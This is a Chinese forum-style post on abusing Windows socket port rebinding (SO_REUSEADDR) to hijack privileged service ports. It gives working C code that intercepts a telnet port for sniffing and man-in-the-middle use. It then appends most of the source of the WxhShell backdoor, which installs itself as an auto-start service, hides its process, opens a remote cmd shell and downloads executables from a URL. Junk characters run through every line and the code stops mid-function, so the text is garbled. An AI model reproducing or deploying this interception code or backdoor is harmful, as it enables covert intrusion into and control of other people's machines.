在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
c+E \e] { s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
dqJ 8lU? fkp(M saddr.sin_family = AF_INET;
wn?oHz* k}F7Jw#. saddr.sin_addr.s_addr = htonl(INADDR_ANY);
'G~i;o 2 ?gUraSFU bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
(*P`
t6\H 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
P7b"(G% l[IL~ 这意味着什么?意味着可以进行如下的攻击:
:d9GkC ,hu@V\SKv 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
n}F$kyI Y @'do) 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
} =)u_q X4S|JT 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
]o]`X$n $)"T9$>$ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
j@(S7=^C6% hBX.GFnw 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
?_d>-NC 8tR6.09' 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
L!l?tM o DJgM>&Y6, 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
C(v'7H{4cW _g/d/{-{Q #include
Yb5@W/' #include
}wn|2K' #include
?m2FN<S #include
Jj[3rt?8 DWORD WINAPI ClientThread(LPVOID lpParam);
Mn/ int main()
gizY4~
j {
1}|y^oB\- WORD wVersionRequested;
yN{**?b DWORD ret;
jZqa+nG51 WSADATA wsaData;
[dP<A?s BOOL val;
]Xnar:5 SOCKADDR_IN saddr;
;kZD>G8 SOCKADDR_IN scaddr;
u`Nrg< int err;
";(m,if- SOCKET s;
qXq#A&
SOCKET sc;
nbP}a?XC int caddsize;
:KvZP:T HANDLE mt;
&$CyT6mb^ DWORD tid;
~s4JGV~R wVersionRequested = MAKEWORD( 2, 2 );
EH2): err = WSAStartup( wVersionRequested, &wsaData );
lshSRir if ( err != 0 ) {
ym6Emf] printf("error!WSAStartup failed!\n");
sq#C|v/ return -1;
U:$zlfV }
|>U<EtA" saddr.sin_family = AF_INET;
2BO H8Mp9 [7DU0Xg7 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
A ;`[va adoK-bS t saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
D&mPYxXL saddr.sin_port = htons(23);
: ciwh if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
!lEV^SQJs {
EMH-[EBx printf("error!socket failed!\n");
w\d1 return -1;
79)iv+nf\l }
E"BW-<_! val = TRUE;
r\b$/:y<e //SO_REUSEADDR选项就是可以实现端口重绑定的
Ve[Kv07 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
@Kbj:S;m {
O>rz+8 T printf("error!setsockopt failed!\n");
2g)q
( return -1;
K~UT@,CS60 }
PB8U+ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
5 YIk //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
|1OF!(: //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
p'/%" bsc b if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
='eQh\T) {
9J49s1 ret=GetLastError();
=x^IBLHN printf("error!bind failed!\n");
ABtv|0K return -1;
9Kz} }
3=L5Y/ listen(s,2);
IU}g[OCu while(1)
1RQM-0W, {
^?0WE caddsize = sizeof(scaddr);
^jo*e,y: //接受连接请求
It'PWqZtG sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
rJd-e96 if(sc!=INVALID_SOCKET)
[ dVRVm0N {
.ddf'$6h mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
%8%0l*n' if(mt==NULL)
;2eZa|M*q {
vN)l3 printf("Thread Creat Failed!\n");
-Ze2]^#dl break;
8g_GXtn(z }
2;ogkPv ' }
.)=j~}\ CloseHandle(mt);
^MZ9Zu_ }
2mvp|<" closesocket(s);
Mg^3Y'{o WSACleanup();
o:/ymeG return 0;
Ria*+.k@"B }
\]t}N DWORD WINAPI ClientThread(LPVOID lpParam)
QW@`4W0F {
@z.HyQ_v SOCKET ss = (SOCKET)lpParam;
klC48l SOCKET sc;
UazUr=|e unsigned char buf[4096];
|f&=9% SOCKADDR_IN saddr;
`OyYo^+D|. long num;
jP"='6Vrw DWORD val;
D~<0CQ3n. DWORD ret;
8 =<&9TmE //如果是隐藏端口应用的话,可以在此处加一些判断
NA8$G|.? //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
yB^_dE saddr.sin_family = AF_INET;
.3T#:Hl saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
?`D/#P saddr.sin_port = htons(23);
< G:G/ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{5gh. {
!+I!J
s" printf("error!socket failed!\n");
|b:91l return -1;
G^Yg[*bJ^$ }
q--;5"=S val = 100;
~~'UQnUN4 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
|d8x55dk {
6o/!H ret = GetLastError();
9AdA|/WV return -1;
4!KUPgg }
?KfV>.() if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
!G3d5d2)C {
ENi@R\
p ret = GetLastError();
9nPc>O$ return -1;
wtw }
]1
OZY@ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
IvyBK]{| {
-NyfW+T={ printf("error!socket connect failed!\n");
u`vOKajpH$ closesocket(sc);
KDX34Fr1 closesocket(ss);
^B|Q&1 return -1;
8E|
Nf }
oopACE> while(1)
n^AQ!wC {
&u'$q
//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
@dzO{) //如果是嗅探内容的话,可以再此处进行内容分析和记录
P+~{q.|._c //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
^sp+ sr : num = recv(ss,buf,4096,0);
1c}
%_Z/ if(num>0)
j[fVF3v send(sc,buf,num,0);
9_z u* else if(num==0)
S=o1k break;
(*Jcx:rH num = recv(sc,buf,4096,0);
:!h1S`wS if(num>0)
<I{)p;u1 send(ss,buf,num,0);
^$7Lmd.qI else if(num==0)
;:[!I ]E0 break;
q7
;TdQ }
Ls#=R closesocket(ss);
>t,BNsWB closesocket(sc);
>+w(%;i; return 0 ;
RY(\/W#$ }
tf?u ;n L)5YX-? F8J;L](Dq ==========================================================
@"9^U_Qf1z 8Q&hhmOnz 下边附上一个代码,,WXhSHELL
R)AFaP | d?RKobk ==========================================================
/Ot=GhN] }vRs n-E@ #include "stdafx.h"
?-
5{XrNm 5TqT`XTzm #include <stdio.h>
h\k!X/ #include <string.h>
em #include <windows.h>
@aU%1h5W;l #include <winsock2.h>
2,c{Z$\kn #include <winsvc.h>
}b-"[TDEF #include <urlmon.h>
FqOV/B
/z2 pJC@}z^cw #pragma comment (lib, "Ws2_32.lib")
+1j@n.)ft #pragma comment (lib, "urlmon.lib")
B{ wx"mK .z
u0GsU= #define MAX_USER 100 // 最大客户端连接数
_L mDF8Q( #define BUF_SOCK 200 // sock buffer
/ vI sX3v #define KEY_BUFF 255 // 输入 buffer
>y C1X|d~t KLW#+vZ #define REBOOT 0 // 重启
S3V3<4CB #define SHUTDOWN 1 // 关机
Y_3{\g|x e&G!5kz! #define DEF_PORT 5000 // 监听端口
TFbMrIF
yUF<qB #define REG_LEN 16 // 注册表键长度
*{t{/^'y #define SVC_LEN 80 // NT服务名长度
&ah!g!o3 @!0@f'}e // 从dll定义API
bce>DLF typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
CeD O:J=, typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
!424K-nW typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
0?} ),8v> typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
(9hCO-r rPoPs@CBD // wxhshell配置信息
;Wa4d`K struct WSCFG {
V)M+dhl int ws_port; // 监听端口
TfaL5evio char ws_passstr[REG_LEN]; // 口令
R=g~od[N_ int ws_autoins; // 安装标记, 1=yes 0=no
.i[rd4MCK char ws_regname[REG_LEN]; // 注册表键名
Y4cIYUSc char ws_svcname[REG_LEN]; // 服务名
6/`$Y!.ub char ws_svcdisp[SVC_LEN]; // 服务显示名
(|DmYn! char ws_svcdesc[SVC_LEN]; // 服务描述信息
^&oa\7<' char ws_passmsg[SVC_LEN]; // 密码输入提示信息
/t=R~BJu int ws_downexe; // 下载执行标记, 1=yes 0=no
_-aQ.p ?T char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
>e y.7YG char ws_filenam[SVC_LEN]; // 下载后保存的文件名
uMl.}t2uYu $\kqh$") };
u_[^gS7 aIV(&7KT4 // default Wxhshell configuration
%Q:i6 ~ struct WSCFG wscfg={DEF_PORT,
UxI0Of&: "xuhuanlingzhe",
iM;7V*u 1,
N*6Y5[g!\ "Wxhshell",
{2<A\nW "Wxhshell",
i$HA@S "WxhShell Service",
H\7#$ HB "Wrsky Windows CmdShell Service",
<fq?{z "Please Input Your Password: ",
rYUhGmg` 1,
("(:wYR% "
http://www.wrsky.com/wxhshell.exe",
E6(OEC%, "Wxhshell.exe"
]Igd< };
\a]JH\T)Q "Sp+Q&2U // 消息定义模块
rW$ )f char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
JBa( O-T char *msg_ws_prompt="\n\r? for help\n\r#>";
sM)qzO2wh char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
xE(VyyR char *msg_ws_ext="\n\rExit.";
['%]tWT9 char *msg_ws_end="\n\rQuit.";
k$`~,LJ p char *msg_ws_boot="\n\rReboot...";
1 FTxbw@ char *msg_ws_poff="\n\rShutdown...";
UN{_f)E? char *msg_ws_down="\n\rSave to ";
W=YFe<Q S;DqM;Q char *msg_ws_err="\n\rErr!";
jbx@ty char *msg_ws_ok="\n\rOK!";
p%) 1(R8qM ,-7w\%* char ExeFile[MAX_PATH];
m89-rR:Kc int nUser = 0;
p9w<|ZQ]: HANDLE handles[MAX_USER];
E!.>*`)?. int OsIsNt;
FoY_5/ f\CJ |tKX SERVICE_STATUS serviceStatus;
6XyhOs%/ SERVICE_STATUS_HANDLE hServiceStatusHandle;
J7:VRf|,?( lUWX[, // 函数声明
l);M(< int Install(void);
YCvIB' int Uninstall(void);
tr 8a_CV int DownloadFile(char *sURL, SOCKET wsh);
A[QUFk( int Boot(int flag);
d?dZ=]~C void HideProc(void);
TVVL1wZ int GetOsVer(void);
@~pIyy\_ int Wxhshell(SOCKET wsl);
]A oRK=aH void TalkWithClient(void *cs);
hM~9p{O int CmdShell(SOCKET sock);
W]E6<y' int StartFromService(void);
ut8v&i1? int StartWxhshell(LPSTR lpCmdLine);
aO:wedfl 'p3JYRT$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
$10"lM[ VOID WINAPI NTServiceHandler( DWORD fdwControl );
yVQ0;h S<do.{|p[ // 数据结构和表定义
@=CN#D12 SERVICE_TABLE_ENTRY DispatchTable[] =
ziUEA>m*/ {
Pf`HF|NI {wscfg.ws_svcname, NTServiceMain},
F_>OpT {NULL, NULL}
-4du`dg };
K
q;X(&Z ]%AmX-U // 自我安装
cXM4+pa=% int Install(void)
5>z`==N) {
OW}ny char svExeFile[MAX_PATH];
BYj Eo HKEY key;
1F`1(MYt9 strcpy(svExeFile,ExeFile);
P)7:G?OTx $tKz|H) // 如果是win9x系统,修改注册表设为自启动
}>`rf{T if(!OsIsNt) {
|~)!8N.{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
R_?Q`+X RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
{O24:'K& RegCloseKey(key);
Mn`);[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
.|ZO2MCd RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
p7H0|> RegCloseKey(key);
}Xa1K;KM{ return 0;
h=<x%sie }
W(~7e?fO }
bU$4"_eA
B }
UNK}!>HD else {
X*'i1)_h [g<rzhC~= // 如果是NT以上系统,安装为系统服务
;ZOu-B]q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
^l;N;5L if (schSCManager!=0)
MS7rD%(,' {
<c;U 0! m SC_HANDLE schService = CreateService
d8N{sT (
t3P$UR% schSCManager,
nF"NXYa wscfg.ws_svcname,
H\r-
;,& wscfg.ws_svcdisp,
\mp2LICQg SERVICE_ALL_ACCESS,
?WEKRl SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
l% \p SERVICE_AUTO_START,
8uh^%La8b. SERVICE_ERROR_NORMAL,
=lb5 # svExeFile,
obzdH:S NULL,
rS|nO_9 f NULL,
]a=n(`l? NULL,
p;xMudM NULL,
x<Ac\Cx NULL
w ]%EJ|' );
vV
PK if (schService!=0)
<>shx;g^C {
j|-{*t{/x CloseServiceHandle(schService);
&P pb2 CloseServiceHandle(schSCManager);
qk}Mb_*C) strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
{ POfT
m} strcat(svExeFile,wscfg.ws_svcname);
yd=NafPM if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
G=(ja?d RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
q;Rhx"x>T RegCloseKey(key);
APUpqY return 0;
GeFu_7u!| }
hd>_K*oH }
,>3b|-C- CloseServiceHandle(schSCManager);
q,>-4Cm }
WQ1K8B4 }
v"x'rx# Yu+;vjbK- return 1;
SO+J5,)HA }
:G4)edwe BJP^?FUd=, // 自我卸载
yD yMI int Uninstall(void)
y.aeXlc[ {
vSv:!5* HKEY key;
K<vb4!9Z9 $_+.D`vx` if(!OsIsNt) {
$h|8z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
S<o\.&J RegDeleteValue(key,wscfg.ws_regname);
#XeEpdE RegCloseKey(key);
5e
>qBw8t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
|IZFWZd RegDeleteValue(key,wscfg.ws_regname);
t@cImmh\T RegCloseKey(key);
JPM W|JT return 0;
^$;5ZkQy }
JQ<9~J }
."h>I @MH }
;@/vKA3l. else {
9$ =o({ W~?mr!` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
AkX8v66:
if (schSCManager!=0)
VI;)VJbq {
yL"pzD`[H SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
gPY Cw?zQ if (schService!=0)
Lb0B m R%0 {
G0Wv=tX| if(DeleteService(schService)!=0) {
deqL CloseServiceHandle(schService);
KB a
CloseServiceHandle(schSCManager);
#TD0)C/ return 0;
;oJCV"y6$ }
-3|i5,f CloseServiceHandle(schService);
;2Za]%' }
3sz?49tX CloseServiceHandle(schSCManager);
!--A" }
g6(u6%MD }
> m##JzWLr O_|p{65 return 1;
k%h%mz }
DS>qth Z)dE#A_X // 从指定url下载文件
0|OmQ\SQ int DownloadFile(char *sURL, SOCKET wsh)
r|JZU {
z|WDqB%/I HRESULT hr;
4<l&cP char seps[]= "/";
{aYCrk1 char *token;
D",~? char *file;
"6xTh0D
char myURL[MAX_PATH];
sI#r3:?i char myFILE[MAX_PATH];
I+FQ2\J*H h$I
2T strcpy(myURL,sURL);
1xt N3{c token=strtok(myURL,seps);
bT#re while(token!=NULL)
D?@e,e {
XdGA8%^cY file=token;
D$PR<>=y token=strtok(NULL,seps);
OVf%m~%&s }
A Z& ]@Ao V.12 GetCurrentDirectory(MAX_PATH,myFILE);
4&/m>%r strcat(myFILE, "\\");
[I4&E > strcat(myFILE, file);
us3fBY' send(wsh,myFILE,strlen(myFILE),0);
)kuw&SH, send(wsh,"...",3,0);
{wyf>L0j hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
{ZrB,yK if(hr==S_OK)
v#o<.
Ig return 0;
4KCJ(<p| else
? bnhx return 1;
{5N!udLDr5 #E#.`/4 }
gyAKjLqqpi +\@WOs // 系统电源模块
O]N
8QH int Boot(int flag)
s
u)AIvF{ {
?f ]!~ HANDLE hToken;
t ]yD95| TOKEN_PRIVILEGES tkp;
6m!%X GZT
|jwN8@ if(OsIsNt) {
E]26a,^L OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
E^<.; LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
1L:sck5k tkp.PrivilegeCount = 1;
XP'7+/A tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
{^qp~0 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
!;ipLC;e} if(flag==REBOOT) {
aO]FQ#l2b if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
MEZc/Ru-[ return 0;
98^o9i }
"Ooc;xD3< else {
W u9))Ir if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Hjtn*^fo^ return 0;
@3@oaa/v }
aur4Ky> : }
Z}*{4V`R else {
+bv-! rf if(flag==REBOOT) {
2UGnRZ8:1Y if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
uqMe% return 0;
[O52Bn }
_RcFV else {
]@D#<[5\ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
C0bOPn return 0;
ca{u"n }
u:FFZ }
0nbQKoF hn@T ]k return 1;
8w|-7$ v }
o :tz_5 KNw{\Pz~w // win9x进程隐藏模块
RXF%A5FXh void HideProc(void)
m)aNuQvy:Z {
kA1C& @Pt,N
qj: HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
J0eJRs if ( hKernel != NULL )
>){"x(4` {
ojA i2uz pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
'.mHx#?7 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Ym WVb FreeLibrary(hKernel);
]tzO)c)w; }
\~:Uj~ 3i c6!T#t" return;
)t-Jc+*A> }
^^-uq)A _ `RCY^t // 获取操作系统版本
0gEtEH+ int GetOsVer(void)
APC,p," {
W_##8[r(? OSVERSIONINFO winfo;
lhk[U!># winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
<r{M(yZ?@ GetVersionEx(&winfo);
}c"1;C&{ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
R6N+c\W return 1;
.Kn)sD1 else
|"Rl_+d7D return 0;
z DP }
9b/7~w. l|O)B # // 客户端句柄模块
\;h+:[<e1 int Wxhshell(SOCKET wsl)
;-OnCLr {
,.cNs5[t SOCKET wsh;
Gg\805L@ struct sockaddr_in client;
fn1G^a= DWORD myID;
~is$Onf99# KVvzVQ1 while(nUser<MAX_USER)
33{(IzL0 {
Gl1Qbd0 int nSize=sizeof(client);
]$StbBP wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
{G+pI2^ if(wsh==INVALID_SOCKET) return 1;
rT2gX^Mj& }|k_sx: handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
u]B15mT? if(handles[nUser]==0)
>#q2KXh closesocket(wsh);
R3G+tE/Y else
uA}w?; nUser++;
C/JeD-JG }
N34.Bt WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
D*>EWlZ MpV3. return 0;
?y] q\> }
]8}+%P,Q QW5S=7 // 关闭 socket
Z$0+jpG_s void CloseIt(SOCKET wsh)
%~V+wqu {
},"T,t# closesocket(wsh);
JJ50(h)U nUser--;
GwOn&EpY! ExitThread(0);
X>[x7t: }
i/&?e+i 9 >t // 客户端请求句柄
')d&:K*M void TalkWithClient(void *cs)
q(i^sE[y {
73-*|@6 y^rcUPLT SOCKET wsh=(SOCKET)cs;
F-\Swbx+ char pwd[SVC_LEN];
E&\dr;{7 char cmd[KEY_BUFF];
BFU6?\r char chr[1];
hi{#HXa int i,j;
.4M8 Ub0hISA while (nUser < MAX_USER) {
^w0V{qF{ (,5oqU9s@ if(wscfg.ws_passstr) {
Wc}opp if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
bIFKP //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Di[}y; //ZeroMemory(pwd,KEY_BUFF);
bYuQ"K
A$ i=0;
>^1|Mg/!> while(i<SVC_LEN) {
T 4}SF ]=s!cfu // 设置超时
[DW}z fd_set FdRead;
Cm~h\+" struct timeval TimeOut;
]!u12^A{ FD_ZERO(&FdRead);
jlmP1b9 FD_SET(wsh,&FdRead);
_(CuuP$`I TimeOut.tv_sec=8;
pK)*{fC$` TimeOut.tv_usec=0;
<@BzF0 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
q|E0Y if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
] gN]Cw\L K3eYeXV if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Hpo/CY/ pwd
=chr[0]; Wvhg:vup
if(chr[0]==0xd || chr[0]==0xa) { ;5wmQFr
pwd=0; (nhv#&Fd+
break; S(7_\8h
} U Ox$Xwp5&
i++; QN %w\JXS
} *. H1m{V
"W_C%elg
// 如果是非法用户,关闭 socket %5X}4k!p
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /Q7cQ2[EU
} oB9t&yM
wi#]*\N\9
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]J^9iDTTA
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e*O-LI2O
RB5fn+FiZ
while(1) { ap;tggi(H
"K EB0U
ZeroMemory(cmd,KEY_BUFF); #+V5$
zw{cli&S
// 自动支持客户端 telnet标准 UcCkn7}
j=0; Zk+J= Cwq}
while(j<KEY_BUFF) { xl%!7?G|$>
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )7mX]@
cmd[j]=chr[0]; Ol>"'
if(chr[0]==0xa || chr[0]==0xd) { ;H#'9p ,2
cmd[j]=0; uN`{; Av
break; o0- 7# 2
} @`:n +r5u
j++; 2Wlk]
} 6qA48:/F=
+"Pt? k
// 下载文件 r`]&{0}23
if(strstr(cmd,"http://")) { e^g3J/aU
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9wP_dJvb
if(DownloadFile(cmd,wsh)) C24[brf
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8?S32Gdu
else zr9o
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |]a=He;
} )u7*YlU\I
else { QDlEby m
~mc7O
switch(cmd[0]) { q<>
JZp*"UzQr
// 帮助 DpIv <m]
case '?': { 4[za|t
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tE0DST/
break; nu,#y"WQ
} #n^P[Zw
// 安装 .gNWDk0$Y
case 'i': { >=hOjV;
if(Install()) -|mWi
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 16MRLDhnD
else 2=X 2M
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -SaH_Nuj
break; 0uzm@'^
} ._m+@Uy]H}
// 卸载 :mLcb.E
case 'r': { )/H=m7}1h
if(Uninstall()) ig:/60Z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2Yt#%bj7^
else W
B)<B
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FL!W oTB
break; I|lz;i}$
} D<$~bUkxR
// 显示 wxhshell 所在路径 FblwQ-D
case 'p': { 8DbXv~3@
char svExeFile[MAX_PATH]; |du@iA]dP
strcpy(svExeFile,"\n\r"); LtKiJ.j?A
strcat(svExeFile,ExeFile); 7
Xe|P1@)
send(wsh,svExeFile,strlen(svExeFile),0); vlth\[
break; U'zW; Lt
} <`*}$Zh
// 重启 an^"_#8DA@
case 'b': { jq#_*&Eg]
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B"T Z8(<
if(Boot(REBOOT)) \]}|m<R
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /]_T
else { 'M185wDdAl
closesocket(wsh); Rkm1fYf
ExitThread(0); <jF]SN
} yC !`6$
break; '/U[ ui0{
} Pcut#8?
// 关机 /%|JP{
case 'd': { XVAyuuTg\
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B
PTQm4TN
if(Boot(SHUTDOWN)) m8eyAvi6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); s42M[BW]
else { G\G TS}u[
closesocket(wsh); zF6R\w
ExitThread(0); 5=tvB,Ux4
} w@Uw8b
break; w~a^r]lPW
} YO7Y1(`
// 获取shell Nq1la8oQ3
case 's': { zbK=yOIOd
CmdShell(wsh); Gm;)Om_
closesocket(wsh); $&/JY
ExitThread(0); J$
break; ~>&7~N8
} @5N^^B
// 退出 E8g Xa-hv
case 'x': { _#@n^c
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); j78WPG
CloseIt(wsh); =!T@'P?
break; fe
PH=C
} :)VO,b~r
// 离开 e5G)83[=
case 'q': { )9F-h8
&"
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 51j5AbFQ"
closesocket(wsh); m3W:\LTTp
WSACleanup(); g^|}e?
exit(1); X{4jyi-<
break; |f), dC
} F: %-x=q
} pgbm2mT9
} EdFCaW}""
0/K?'&$yvb
// 提示信息 zQ3m@x
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;6S,|rC]
} e$]`
} .4on7<-a
0_'(w;!wq:
return; <
kyT{[e+6
} 3FRz&FS:j
)_bc:6Q
// shell模块句柄 Z9X<W`
int CmdShell(SOCKET sock) $ N`V%<W
{ |dIP &9
STARTUPINFO si; 7P1G^)
ZeroMemory(&si,sizeof(si)); 9V&}%
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .T~<[0Ex+U
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .EeXq}a[
PROCESS_INFORMATION ProcessInfo; "Tw4'AY'P
char cmdline[]="cmd"; 5=/&[=
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \H(r }D$u<
return 0; \H<gKZquR
} 8VG6~>ux'>
+m?;,JGt
// 自身启动模式 *u
L Ooq
int StartFromService(void) YywiY).]@
{ +*u'vt?
typedef struct &gF*p
{ A:|dY^,:?*
DWORD ExitStatus; t][U`1>i
DWORD PebBaseAddress; V11(EZJ/j
DWORD AffinityMask; 1.S7MSpTV
DWORD BasePriority; W,sU5sjA
ULONG UniqueProcessId; +'fy%/
ULONG InheritedFromUniqueProcessId; tG8)!
